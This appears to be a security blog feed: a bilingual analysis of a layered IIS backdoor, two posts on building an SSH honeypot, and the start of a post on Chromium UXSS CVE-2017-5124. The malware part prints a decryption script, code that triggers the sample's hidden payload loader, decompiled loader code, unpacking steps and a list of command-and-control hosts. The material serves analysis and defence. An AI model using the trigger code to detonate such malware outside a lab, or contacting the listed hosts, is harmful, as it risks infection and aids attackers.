I noticed that the cachuri.dll file was signed by Microsoft. I completely ignored this file.

This file is a module of IIS cache. It is not a default installed module:

cachuri.dll imports functions from iisutil2.dll, iisutil2.dll does not have a valid signature.

The other files are not executable files at all. So we can guess: cachuri.dll will be loaded by the IIS server (inetsrv). After loading the cachuri.dll, malicious iisutil2.dll is also loaded into the memory region of the process. iisutil2.dll will probably use the remaining two files for some purpose. At this step, we still haven’t run malicious code, it’s just a guess.

Analyze iisutil2.dll

This file is obfuscated and it makes me be confused. This is the flow of program:

Find functions: CreateFileW, ReadFile, RtlDecompressBuffer

Open iisexpressshim.sdb and read:

Decrypt code by using XOR

There is the structure of decrypted data:

• the first DWORD: The size of uncompressed data
• Compressed data

After that, the program uses RtlDecompressBuffer to decompress data. This is the first layer of packer.

There is decryption code. Luckily, we have lznt1 decompressor from Google (https://twitter.com/nullandnull/status/772989022079586304). https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''Decrypt iisexpressshim.sdb'''
import sys
import lznt1

def decrypt(buf):
	out = ''
	index = 0
	for c in buf:
		out += chr(ord(c) ^ (index % 0xff))
		index += 1
	return out

cdata = decrypt(open(sys.argv[1], 'rb').read())
open(sys.argv[1]+'.decrypted', 'wb').write(lznt1.decompress_data(cdata[4:]))

Result

I notice that VirtualSize, RawSize and RawAddress are equal to 0 . We can calculate all VirtualSize, RawSize and RawAddress by using VirtualAddress.

• VirtualSize = RawSize = (VirtualAddress of the next section - VirtualAddress of this section)
• RawAddress = VirtualAddress

After fixing it, we can load this file to IDA and check it. This is the main flow of this program: to replace export table of cachuri.dll with new malicious export table.

I try to debug but I don’t have an actor to trigger malicious code.

Analyze iisexpressshim.sdb

I analyze DllGetClassObject and notice that malware uses directory name as a CLSID.

To create a malicious object, we need a directory with a CLSID. There are main steps:

• Create a directory and the name of directory is {CB8A1CEF-292D-421E-AC71-88451B5C7F2B}. I choose it randomly.
• Use this code to create an object.

   CLSID    clsid_malware;
   LPVOID   ppv = NULL;
   HMODULE h = LoadLibraryA("cachuri.dll");
   DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
   HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
   hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
   printf("ppv = %p\n", ppv);
  

  We have a CMalware2 object. I try to analyze all methods of this object and I realize that CMalware2 object is a base object. If I call QueryInterface with {839D7762-5121-4009-9234-4F0D19394F04} , I will create a real malicious object.

This function will decrypt logo.png and load another PE file to memory:

int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &clsid_malware);

	IMalware *malware_obj;
	hr = pMalware->QueryInterface(clsid_malware, (LPVOID*) &malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}

• Malicious code will allocate a memory region via (VirtualAlloc)
• Decrypt logo.png
• Fixup relocation
• Resolve IAT.
• I use pe_unmapper to dump malicious code to file (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)

Now, we have logo.dll

Analyze logo.dll

This DLL has a exported function: DllEntry.

Pseudocode:

 char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}

After analyzing, I realize that this is another PE loader:

• Allocate memory and decrypt the embedded PE file.
• Resolve Import Address Table
• Execute malicious code at entry point

This loader removes all important fields in PE header. We can not rebuild PE file without header. I use debugger to trace and find the address of entry-point and dump memory to disk. This loader allocates 0x899400 bytes for new PE file

this loader skips 0x4E0000 bytes. I don’t know why.

As I say, all important fields are removed.

Rebuild

We have: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.

You can consider that this PE file has only 1 section. So we create section header:

NumberOfSections = 1

To resolve and fix IAT, I use Scylla : https://github.com/NtQuery/Scylla

Scylla is a great tool. I can recover all entries in IAT. We need to use Disassemble function to resolve APIs if Scylla can not resolve them.

Remember:

• If malicious code uses GetModuleHandle function with NULL parameter (both Ansi and Unicode version), this function MUST return 0xCE0000.

Correct Import Address Table

Finally, I rebuild and rebase this file

Rebase PE file:

This is the last layer.

Bonus: C&C Server

1
2
3
4
5
6
7
8
cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531

Donation

If you think my article is valuable, you may donate to me so that I have the motivation to write the next article. I accept Paypal. Thank you so much! https://paypal.me/develbranch

Tôi tình cờ nhận được mẫu này từ một người quen, trong khi đó, người quen của tôi lại nhận được mẫu này từ một người quen khác, cứ thế,… Trong giới làm an ninh mạng ở Việt Nam hay có kiểu chia sẻ đơn giản như thế thôi. Ai cũng biết việc chia sẻ cho những người khác là cần thiết vì nó giúp cho chúng ta tự bảo vệ nhau, tự phát hiện các mối nguy hại từ bên ngoài. Nhưng ai chia sẻ xong cũng nói một câu: “Đừng bảo với ai là em gửi anh nhé!”, “Đừng share ai nữa nhé!”,…. Tôi cũng không rõ lắm họ muốn bí mật nguồn mẫu làm gì. Có lẽ không ai muốn người khác biết mình bị tấn công, sẽ ảnh hưởng đến công việc kinh doanh. Tôi tôn trọng các quyết định của người đã chia sẻ cho tôi. Tôi sẽ viết phương pháp tôi phân tích mẫu này để các bạn nếu có gặp một mẫu tương tự sẽ biết cách xử lý. Tôi không rõ mẫu mã độc này do nhóm nào viết, tuy nhiên phải khẳng định rằng phân tích không phải dễ.

Trong bài viết này, tôi sẽ trình bày phương pháp tôi vượt qua các lớp bảo vệ file thực thi của mã độc, phần còn lại là các hành vi của mã độc có lẽ cũng không cần thiết. Trong trường hợp các bạn muốn biết các hành vi của mẫu này, có thể đợi bài viết tiếp theo của tôi

1 phút cho quảng cáo: Nếu các bạn gặp những mẫu malware tương tự, các bạn hoàn toàn có thể liên lạc với tôi qua địa chỉ contact[at]develbranch.com hoặc facebook fanpage fb.com/develbranch và tôi sẽ giúp các bạn phân tích các mẫu mã độc. Tôi sẽ tính phí trong trường hợp cần thiết. Nếu thấy bài viết của tôi có giá trị, các bạn có thể chuyển khoản cho tôi một chút tiền để tôi có động lực viết các bài viết tiếp theo (hãy liên hệ với fanpage của tôi).

Môi trường thực hiện

• Máy ảo windows 7 64 bit. Các bạn có thể sử dụng windows 10.
• Một chương trình debugger trên windows: Tôi thích dùng x64dbg.
• Một chương trình C++ compiler trên windows: Tôi thích dùng Microsoft Visual Studio 2015. https://visualstudio.microsoft.com/
• CFF Explorer: Explorer Suite

Phân tích theo hành vi

Trong tất cả các bước phân tích mã độc chuẩn, chúng ta đều phải thực hiện phân tích theo hành vi để phần nào đoán được hành động mà mã độc sẽ thực hiện và chúng ta sẽ đưa ra phương án phân tích phù hợp. Để thực hiện việc này chúng ta cần:

• File thực thi của mã độc, hoặc là một lệnh để chạy mã độc.
• Dựng được chính xác môi trường mà mã độc sẽ thực thi. Ví dụ: Nếu mã độc chỉ chạy trên windows server thì các bạn sẽ không bao giờ phân tích theo hành vi nếu môi trường của các bạn là windows home.

Người bạn chỉ đưa tôi 4 file như trên hình, không thông tin, không mô tả gì thêm. Trong quá trình phân tích tôi cũng không có thêm một chút manh mối nào ngoại trừ đường dẫn của file. Với bấy nhiêu thông tin, chúng ta không thể thực thi được mã độc trên môi trường của mình. Do vậy sẽ không có phân tích theo hành vi. Chúng ta cần đoán theo cách của mình! Guess it your way!

Phân tích chi tiết

Trong số 4 files nhận được, tôi nhận thấy file cachuri.dll có chữ kí của Microsoft. Tôi hoàn toàn bỏ qua file này

File này là file xử lý cache trên server windows. Đây không phải module cài đặt mặc định của IIS server:

File cachuri.dll sử dụng các hàm trong iisutil2.dll, không có chữ ký hợp lệ

Hai file còn lại hoàn toàn không phải file thực thi. Do đó chúng ta có thể đoán: cachuri.dll sẽ được một module nào đó của IIS server(inetsrv) load lên. Sau khi load cachuri.dll, iisutil2.dll độc hại cũng được load vào bộ nhớ của tiến trình. iisutil2.dll có thể sẽ sử dụng tiếp 2 file còn lại cho mục đích nào đó. Đến bước này, chúng ta vẫn chưa chạy mẫu mà hoàn toàn chỉ là đoán. Guess it your way!

Thực hiện phân tích iisutil2.dll

File này bị obfuscate khá kĩ và gây khó khăn nhiều trong quá trình phân tích. Tuy nhiên, sau khi phân tích code, tôi nhận ra luồng thực thi chính của chương trình như sau:

Lấy địa chỉ các hàm: CreateFileW, ReadFile, RtlDecompressBuffer

Mở file iisexpressshim.sdb và Đọc toàn bộ nội dung của file.

Giải mã bằng thuật toán xor đơn giản

Trong đoạn dữ liệu sau khi giải mã, sẽ có cấu trúc như sau:

• 4 byte đầu: Kích thước dữ liệu trước khi nén
• Toàn bộ khối dữ liệu đã nén

Sau đó, chương trình sẽ giải nén toàn bộ nội dung của file bằng hàm RtlDecompressBuffer. Đến đây, ta đã unpack được lớp thứ nhất.

Chúng ta có thể mô tả toàn bộ quá trình này thông qua đoạn code python sau. Rất may là có 1 phiên bản giải nén lznt1 được implement hoàn toàn bằng python(https://twitter.com/nullandnull/status/772989022079586304) của Google. Thật quá tốt: https://github.com/google/rekall/blob/e57446eb8ecbcf5019c1a978f469955a5078c829/rekall-core/rekall/plugins/filesystems/lznt1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'''Giải mã file iisexpressshim.sdb'''
import sys
import lznt1

def decrypt(buf):
	out = ''
	index = 0
	for c in buf:
		out += chr(ord(c) ^ (index % 0xff))
		index += 1
	return out

cdata = decrypt(open(sys.argv[1], 'rb').read())
open(sys.argv[1]+'.decrypted', 'wb').write(lznt1.decompress_data(cdata[4:]))

Kết quả giải mã

File PE này không lỗi, mặc dù VirtualSize, RawSize và RawAddress đều bằng 0 . Chỉ đơn giản, file này cần được load theo một cách khác. Tôi đọc thuật toán trong loader của chương trình và nhận ra: Chúng ta có thể tính toán các giá trị VirtualSize, RawSize và RawAddress hoàn toàn chỉ cần dựa vào VirtualAddress.

• VirtualSize = RawSize = (VirtualAddress của section sau - VirtualAddress của section trước)
• RawAddress = VirtualAddress

Sau khi fix lại code, file PE hoàn toàn đủ tiêu chuẩn để load vào IDA và đọc. Hoạt động của file này như sau:

• Tại DllMain, lấy image base của cachuri.dll
• Thay bảng export của cachuri.dll thành bảng export của mã độc.

Kĩ thuật này có ưu điểm:

• Có thể coi đây là một kĩ thuật nhằm thay thế file cachuri.dll bằng một file độc. Các hành vi độc hại nếu xuất hiện sẽ xuất hiện từ tiến trình của Inetsrv, chính xác hơn là bên trong cachuri.dll. Tuy nhiên, nếu chỉ quét trên đĩa bằng các antivirus thông thường thì hoàn toàn không thể phát hiện được. cachuri.dll vẫn có chữ kí bình thường của Microsoft.
• Một số chương trình EDR khi phát hiện hành vi độc hại sẽ gửi các file của tiến trình liên quan (file thực thi, DLL liên quan) về máy chủ để phân tích. Bằng cách này, người viết malware hoàn toàn tránh được các EDR.

Tôi tiếp tục debug nhưng có vẻ không thành công, vì chúng ta không có actor để trigger mã độc.

Thực hiện phân tích iisexpressshim.sdb

Tôi thử phân tích hoàn toàn bằng IDA và không sử dụng trình debugger. Khi phân tích hàm DllGetClassObject, tôi nhận thấy malware sử dụng tên của thư mục chứa nó như một CLSID. Trong code của chương trình cần query class có clsid này để lấy về đối tượng xử lý tương ứng.

Do đó, để có thể tạo một đối tượng thực thi độc hại, chúng ta cần tạo một tên thư mục với clsid bất kì và sử dụng nó. Các bước cụ thể như sau:

• Tạo một thư mục có tên là {CB8A1CEF-292D-421E-AC71-88451B5C7F2B}. Giá trị này tôi lấy ngẫu nhiên.
• Sử dụng đoạn code dưới đây để tạo object.

   CLSID    clsid_malware;
   LPVOID   ppv = NULL;
   HMODULE h = LoadLibraryA("cachuri.dll");
   DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
   HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
   hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
   printf("ppv = %p\n", ppv);
  

  Sau đoạn code này, chúng ta có đối tượng, tạm gọi là CMalware2 của mã độc. Tiếp tục phân tích các method của đối tượng này, tôi nhận thấy CMalware2 chỉ là object cơ sở, không implement một chức năng nào. Tôi thử phân tích hàm QueryInterface thì nhận ra nếu query với CLSID {839D7762-5121-4009-9234-4F0D19394F04} sẽ nhận được object CMalware1 của mã độc.

Tiếp tục phân tích, tôi phát hiện ra hàm làm việc chính của malware: hàm này có tác dụng load một file PE khác nằm trong logo.png và thực thi nó trên bộ nhớ. Để trigger tới chỗ này, tôi viết đoạn mã sau:

int main(int argc, char** argv) {
	CLSID clsid_malware;
	LPVOID   ppv = NULL;
	HMODULE h = LoadLibraryA("cachuri.dll");
	DLLGETCLASSOBJECT fnDllGetClassObject = (DLLGETCLASSOBJECT)GetProcAddress(h, "DllGetClassObject");
	HRESULT hr = CLSIDFromString(TEXT("{CB8A1CEF-292D-421E-AC71-88451B5C7F2B}"), &clsid_malware);
	hr = fnDllGetClassObject(clsid_malware, IID_IClassFactory, &ppv);
	printf("ppv = %p\n", ppv);
	IUnknown *pMalware = (IUnknown*)ppv;
	hr = CLSIDFromString(TEXT("{839D7762-5121-4009-9234-4F0D19394F04}"), &clsid_malware);

	IMalware *malware_obj;
	hr = pMalware->QueryInterface(clsid_malware, (LPVOID*) &malware_obj);
	printf("main object = %p\n", malware_obj);

	DWORD_PTR vptr = (DWORD_PTR)(*(DWORD_PTR*)malware_obj);
	printf("vtbl = %08x\n", vptr);
	DWORD_PTR ml_fn = *(DWORD_PTR*)(vptr + 3 * sizeof(DWORD_PTR));
	RUNMALWARE run = (RUNMALWARE)(ml_fn - 0x5620 + 0x10B0);
	run((void*)malware_obj); // extract malware
	return 0;
}

Để đơn giản quá trình, chúng ta sẽ để cho malware thực thi nốt phần còn lại của nó:

• Cấp phát bộ nhớ cho malware (VirtualAlloc)
• Giải mã toàn bộ malware lên memory
• Fixup relocation
• Resolve IAT. Chúng ta sẽ đặt breakpoint tại hàm GetProcAddress để dừng thực thi trong khi malware được resolve các hàm API
• Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ pe_unmapper của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper)

Dump file nhận được ra đĩa, chúng ta tạm gọi là logo.dll

Phân tích logo.dll

DLL này khá đơn giản với một hàm DllEntry. Chúng ta có thể coi đây là entrypoint của chương trình (Phân biệt với entrypoint của file).

Đây là mã giả của DllEntry:

 char __stdcall DllEntry(int a1, int a2, int a3, int a4)
{
  char result; // al

  SetErrorMode(0x8007u);
  result = sub_100569F0((int)sub_100031C0);
  if ( result )
  {
    result = sub_10055E20();
    if ( result )
    {
      while ( 1 )
        Sleep(0xFFFFFFFF);
    }
  }
  return result;
}

Sau khi phân tích, tôi nhận ra đây lại là một PE loader khác. Nhiệm vụ của đoạn code này như sau:

• Cấp phát và Giải mã một file PE được nhúng trong chương trình vào một vùng nhớ
• Resolve các địa chỉ API sẽ được sử dụng
• Thực thi entrypoint của file PE

Quá trình cấp phát và giải mã file thực thi cũng giống như các loader bình thường, tuy nhiên khi resolve địa chỉ các API, loader này đã bỏ đi tất cả các trường quan trọng trong file PE. Chúng ta không có header của file PE để có thể dump file xuống đĩa và phân tích như mọi khi. Chúng ta sẽ làm gì khi không có header??

Như thường lệ, khi đến được entrypoint của chương trình, tôi dùng x64dbg để dump memory xuống bộ nhớ. Có một lưu ý rằng mẫu này cấp phát tới 0x899400 bytes cho file PE mới. Lưu ý, trong bài viết của tôi, vùng nhớ được cấp phát là 0x800000.

Khi phân tích kĩ một chút, chúng ta nhận thấy loader bỏ qua 0x4E0000 bytes đầu tiên của vùng nhớ này (Chả hiểu để làm gì?).

Như tôi đã nói, các trường quan trọng bị xóa hết thông tin, chúng ta không có đủ thông tin để khôi phục file này.

Rebuild lại file

Chúng ta có 1 thông tin duy nhất: Imagebase = 0x800000 + 0x4E0000 = 0xCE0000.

Nếu để ý 1 chút, chúng ta có thể coi toàn bộ file PE này là 1 section. Do đó chúng ta có thể tạo một section cho file PE này như sau.

NumberOfSections = 1

Bước tiếp theo là fix bảng IAT, tôi sử dụng Scylla : https://github.com/NtQuery/Scylla

Sau khi điền đúng OEP tôi tìm thấy, Scylla lấy lại gần như toàn bộ bảng IAT của mã độc. Có 1 số hàm mà Scylla không resolve được, chúng ta cần fix lại cẩn thận bằng tay bằng chức năng Disassemble của Scylla.

Có một lưu ý nhỏ: Các malware sử dụng PE Loader sẽ có 1 số ảnh hưởng như sau:

• Nếu malware sử dụng các hàm dạng GetModuleHandle với tham số NULL (cả 2 version Ansi và Unicode) đều bị lỗi do hàm này trả về module handle của file ban đầu, không phải file mới được load.
• Handle của file mới được load sẽ không được hệ thống quản lý.

Do đó, malware sẽ phải tự viết hàm GetModuleHandle và điền vào bảng IAT. Chúng ta có thể nhìn thấy rõ đoạn kiểm tra: Nếu tham số đầu vào là NULL, hàm sẽ trả về địa chỉ 0xCE0000, chính là imagebase của chúng ta.

Sau khi resolve được đầy đủ các API

Cuối cùng, chúng ta fix lại vào file đã dump ra ban đầu. Lưu ý là Scylla không cho chúng ta sửa imagebase, do đó chúng ta sẽ phải sửa lại các địa chỉ RVA cho hợp lý.

Do imagebase không chuẩn nên phải chỉnh lại:

Đây là lớp cuối trong toàn bộ các lớp mã hóa nhằm bảo vệ file.

Bonus: C&C Server

1
2
3
4
5
6
7
8
cdn.arlialter.com:8888
cdn.arlialter.com:8531
var.alieras.com:8531
fbcn.enantor.com:8531
fbcn.enantor.com:8888
ww1.erabend.com:8888
var.alieras.com:8888
ww1.erabend.com:8531

Trong bài viết trước Lightweight SSH Honeypot, tôi đã mô tả về một dự án cho phép tôi xác định các máy tính đang bruteforce dịch vụ SSH trên thế giới. Tuy nhiên, có một số bạn đã inbox cho fanpage của tôi và mong muốn tôi viết rõ hơn, chi tiết hơn về các thứ mà tôi đã làm. Bài viết này tôi sẽ mô tả cụ thể phương pháp tôi đã làm cũng như đưa các đoạn chương trình tôi thực hiện để có thể hoạt động được.

Phát hiện những IP đang thực hiện bruteforce

Sử dụng phương pháp kiểm tra các kết nối đang mở bằng netstat

netstat là một tiện ích của linux cho phép chúng ta liệt kê tất cả các thông tin liên quan tới các kết nối tới máy tính. Chúng ta có thể kiểm tra các kết nối đang bruteforce tới máy tính bằng lệnh:

1
netstat -nat |  grep -v LISTEN | grep ":22"

Lệnh này sẽ liệt kê tất cả các kết nối TCP, lọc ra các kết nối tới cổng 22 (cổng mặc định của dịch vụ SSH). Do các máy bruteforce thường chỉ kết nối tới cổng mặc định nên các thao tác này đã khá đủ.

Sử dụng phương pháp kiểm tra log auth.log

“auth.log” là log chứa các thông tin khi có người dùng đăng nhập vào hệ thống. Đăng nhập thông qua SSH cũng sẽ được lưu vào đây. Chúng ta có thể kiểm tra các thông tin này bằng một lệnh đơn giản sau:

1
cat /var/log/auth.log | grep "authentication failures" | grep "rhost" | more

Lệnh này sẽ liệt kê toàn bộ các lượt đăng nhập sai (hoặc sai tên hoặc sai mật khẩu) thông qua SSH, và có kèm cả ngày giờ đăng nhập.

Xây dựng chương trình giả lập SSH server

Như đã trình bày trong bài viết trước, tôi có rất nhiều lựa chọn từ các dự án mã nguồn mở: Kippo hoặc Kojoney. Trong dự án này, tôi đã tự xây dựng hệ thống cho riêng mình dựa trên Twisted với thư viện Conch SSH. Các bước tôi làm như sau:

• Chỉnh sửa thư viện Conch của Twisted để tôi có thể ghi nhận các thông tin đăng nhập. Tôi sẽ đi chi tiết mục này do đây là phần khó nhất. 2 phần còn lại rất đơn giản, tôi chỉ sẽ không đi vào chi tiết. Khi có dữ liệu, việc hiển thị chỉ là thứ yếu.
• Lưu lại các thông tin đăng nhập vào database để có thể tra cứu về sau.
• Xây dựng một web đơn giản cho phép hiển thị các thông tin đã ghi nhận được và đánh dấu trên bản đồ.

Chỉnh sửa Conch

Thư viện Conch khá hoàn thiện, cho phép chúng ta xây dựng SSH server với đầy đủ các mô tả của giao thức SSH2. Tuy nhiên, chúng ta chỉ cần ghi nhận địa chỉ của máy thực hiện bruteforce, username và password là đủ. Chúng ta chưa cần phải thực hiện giả lập các thao tác sau khi hacker đăng nhập được vào hệ thống. Do đó, chúng ta sẽ luôn luôn trả về kết quả đăng nhập không thành công. Để làm điều này, tôi sẽ patch thư hiện Conch của Twisted bằng một lớp mới (AuthServerWithPeer) của tôi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class AuthServerWithPeer(userauth.SSHUserAuthServer):
    def auth_password(self, packet):
        password = getNS(packet[1:])[0] # parse nhận được trong quá trình authentication

        # Tạo một Object chứa các thông tin đăng nhập, object này phải phù hợp với interface
        # của hàm auth_password(). Hoàn toàn không hề có tài liệu mô tả chính xác cho interface này.
        # credentials.UsernamePassword là một implementation của interface nên tôi kế thừa class này
        # Để biết được interface này, tôi đã đọc mã nguồn của Conch.
        # Đây là ưu điểm của các ứng dụng mã nguồn mở do chúng ta luôn có source code của toàn bộ chương trình
        c = UsernamePasswordPeer(self.user, password, self.transport.getPeer()) 
        return self.portal.login(c, None, interfaces.IConchUser).addErrback(
            self._ebPassword)

# khởi tạo một instance của SSHFactory			
factory = SSHFactory()
# patch module SSH Authentication mặc định thành AuthServerWithPeer
factory.services[b'ssh-userauth'] = AuthServerWithPeer

UsernamePasswordPeer sẽ thực hiện ghi log khi có bất kì yêu cầu đăng nhập nào gửi tới server. Thông qua đọc mã nguồn, tôi biết được phương thức requestAvatarId sẽ nhận thông tin đăng nhập. Tôi đặt code ghi log vào đó.

Toàn bộ code của quá trình như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@implementer(ICredentialsChecker)
class UsernamePasswordLogger(object):
    """
    A simple credentials logger.
    """

    credentialInterfaces = (credentials.IUsernamePassword,
                            credentials.IUsernameHashedPassword)

    def requestAvatarId(self, user_cred):
        self.write_log(user_cred)
        return defer.fail(error.LoginFailed())

    @staticmethod
    def write_log(cred):
        # thực hiện ghi log ở đây
        pass


class UsernamePasswordPeer(credentials.UsernamePassword):
    def __init__(self, username, password, peer):
        credentials.UsernamePassword.__init__(self, username, password)
        self.peer = peer


class AuthServerWithPeer(userauth.SSHUserAuthServer):
    def auth_password(self, packet):
        password = getNS(packet[1:])[0]
        c = UsernamePasswordPeer(self.user, password, self.transport.getPeer())
        return self.portal.login(c, None, interfaces.IConchUser).addErrback(
            self._ebPassword)


class SimpleRealm(object):
    def requestAvatar(self, avatarId, mind, *i):
        user = ConchUser()
        user.channelLookup['session'] = SSHChannel

        def nothing():
            pass

        return interfaces.IConchUser, user, nothing


factory = SSHFactory()
# patch module SSH Authentication mặc định thành AuthServerWithPeer
factory.services[b'ssh-userauth'] = AuthServerWithPeer
# sửa thông tin version của SSH cho giống với 1 server thật
factory.protocol.ourVersionString = 'SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4'
factory.privateKeys = {'ssh-rsa': privateKey}
factory.publicKeys = {'ssh-rsa': publicKey}
# thiết lập moduli file để khởi tạo cho server, nếu không thiết lập thì sẽ dùng các giá trị mặc định
if MODULI_FILE:
    factory.primes = primes.parseModuliFile(MODULI_FILE)
factory.portal = Portal(SimpleRealm())
factory.portal.registerChecker(UsernamePasswordLogger())
reactor.listenTCP(port=2022, factory=factory)
reactor.run()

Để tránh chương trình phải chạy với quyền root (do 22 là một cổng privileged port), tôi sẽ lắng nghe ở cổng 2022 sau đó dùng luật iptables để redirect kết nối từ cổng 22 về 2022.

1
 iptables -A PREROUTING -t nat  -p tcp -m tcp --dport 22 -j REDIRECT --to-ports 2022

Một cách phức tạp khác là chúng ta thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe.

Lưu các thông tin đăng nhập

Các thông tin đăng nhập có thể kể đến là :

1
2
3
4
5
6
login_info = { 
                'host': cred.peer.address.host,
                'username': cred.username,
                'password': cred.password,
                'last_update': int(time.time())
            }

Trong đó:

• host chứa địa chỉ của máy tính thực hiện bruteforce.
• username username đăng nhập.
• password password đăng nhập.
• last_update Thời gian đăng nhập.

Khi có các thông tin này, các bạn có thể sử dụng bất cứ một cơ sở dữ liệu nào để lưu, tôi sử dụng mongodb để lưu lại.

Xây dựng giao hiện hiển thị

Quá trình xây dựng giao hiện hiển thị khá đơn giản, gồm 2 phần là front-end và back-end

• front-end: Chúng ta cần hiển thị lên một bản đồ. Tôi dùng Google Maps API. Code sử dụng rất đơn giản và có sẵn trên mạng. Ngoài ra chúng ta cần một số bảng thống kê một số thông tin như: máy chủ quét nhiều nhất, cặp username - password được sử dụng nhiều nhất….
• back-end: Chúng ta cần một webservice để lấy các thông tin và hiển thị lên giao diện. Do tôi sử dụng mongodb nên mọi thứ khá đơn giản khi lấy về danh sách các host đã bruteforce. Tuy nhiên cần lưu ý rằng để thống kê với mongodb thì chúng ta phải tối ưu. Các bạn có thể thấy tuy số lượng bản ghi rất nhiều nhưng quá trình thống kê kết quả của tôi là realtime và tốc độ khá nhanh. Tôi thực hiện điều này bằng cách sử dụng tính năng aggregate của mongodb. Aggregate của mongodb cho phép chúng ta xây dựng các pipeline để tính các giá trị thống kê. Một số bạn chưa biết tính năng này sẽ query dữ liệu về dưới dạng 1 list hoặc dùng cursor để walk và đếm. Cách đó hoàn toàn không đúng và sẽ làm treo toàn bộ mọi thứ.

Kết quả

Tôi bắt đầu vào ngày 26 tháng 3 và tới nay đã có hơn 495000 lượt bruteforce, từ hơn 1867 ip khác nhau và sử dụng trên 90000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:

https://develbranch-lsh.herokuapp.com/lsh

Gần đây, tôi có dựng một VPS để tổ chức CTF. Tôi nhận ra rằng trong lúc setup iptable, tôi nhận được rất nhiều log kết nối tới cổng dịch vụ SSH (22) từ IP trên toàn thế giới. Chẳng có lý do gì để một máy chủ vừa dựng lên, đã có người biết đến nhanh như thế, ngoại trừ những người đó đang dùng các máy tính chuyên để quét cổng dịch vụ SSH (SSH bruteforce).

Chúng ta có nhiều cách để phát hiện những kẻ khó chịu này:

• kiểm tra các kết nối đang mở bằng netstat -ntl
• kiểm tra log ssh (auth.log)
• cài đặt suricata
• …

Tôi quyết định xem thật sự đang có những tài khoản nào đăng nhập vào dịch vụ SSH của tôi. Tôi dựng một honeypot đơn giản: LSH - Lightweight SSH Honeypot. Có nhiều dự án mã nguồn mở khác tương tự thế này: Kippo hoặc Kojoney. Chúng khá phức tạp và nhiều tính năng hay ho. Tôi cần một thứ đơn giản hơn. Tôi dùng Twisted với thư viện Conch SSH. Tôi sử dụng SSHFactory của Conch, chỉnh sửa một chút để tôi có thể ghi lại các thông tin đăng nhập (username và password). Tôi bắt đầu bật service ở cổng 2022, redirect kết nối từ cổng 22 về 2022 do cổng 22 là privileged port. Mọi tiến trình muốn sử dụng privileged port đều phải có quyền root, hoặc chúng ta cần thêm CAP_NET_BIND_SERVICE cho tiến trình lắng nghe. Khi có các thông tin này, tôi sử dụng mongodb để lưu lại. Thật tuyệt vời là có nhiều hãng cung cấp dịch vụ database online như MongoDB Atlas hay mLab. Việc tiếp theo là tôi cần một dịch vụ để có thể deploy toàn bộ code lên đó. Tôi không muốn dựng thêm một dịch vụ gì trên VPS giá $3/tháng của tôi nữa. Tôi chọn heroku app (platform as a service (PaaS)) do tính tiện dụng của nó. Quan trọng hơn, heroku cho phép sử dụng free nếu chúng ta chỉ có một app duy nhất.

Kết quả

Tôi bắt đầu vào ngày 26 và trong vòng 1 tuần thì có hơn 15000 lượt bruteforce, từ hơn 60 ip khác nhau và sử dụng trên 10000 cặp username password. Tôi có đánh dấu tất cả các ip đó trên bản đồ. Để xem chi tiết hơn, các bạn có thể vào đường link bên dưới:

https://develbranch-lsh.herokuapp.com/lsh

Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. UXSS with MHTML, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.

What is Universal Cross-site Scripting (UXSS)?

